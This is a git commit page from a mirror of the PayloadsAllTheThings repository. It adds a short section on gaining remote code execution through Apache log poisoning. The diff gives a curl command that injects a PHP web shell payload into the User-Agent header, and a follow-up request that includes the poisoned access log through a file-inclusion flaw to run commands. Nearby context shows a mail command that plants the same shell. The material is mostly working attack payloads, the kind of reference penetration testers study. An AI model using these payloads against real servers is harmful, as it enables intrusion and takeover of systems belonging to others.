mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-01-30 15:15:04 +00:00
add RCE via Apache logs in log poisoning
This commit is contained in:
parent
a723a34449
commit
61eed94f18
@ -345,6 +345,22 @@ In some cases you can also send the email with the `mail` command line.
|
|||||||
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
|
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### RCE via Apache logs
|
||||||
|
|
||||||
|
Poison the User-Agent in access logs:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
|
||||||
|
```
|
||||||
|
|
||||||
|
Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
|
||||||
|
|
||||||
|
Then request the logs via the LFI and execute your command.
|
||||||
|
|
||||||
|
```
|
||||||
|
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
|
||||||
|
```
|
||||||
|
|
||||||
## LFI to RCE via PHP sessions
|
## LFI to RCE via PHP sessions
|
||||||
|
|
||||||
Check if the website use PHP Session (PHPSESSID)
|
Check if the website use PHP Session (PHPSESSID)
|
||||||
|
Loading…
Reference in New Issue
Block a user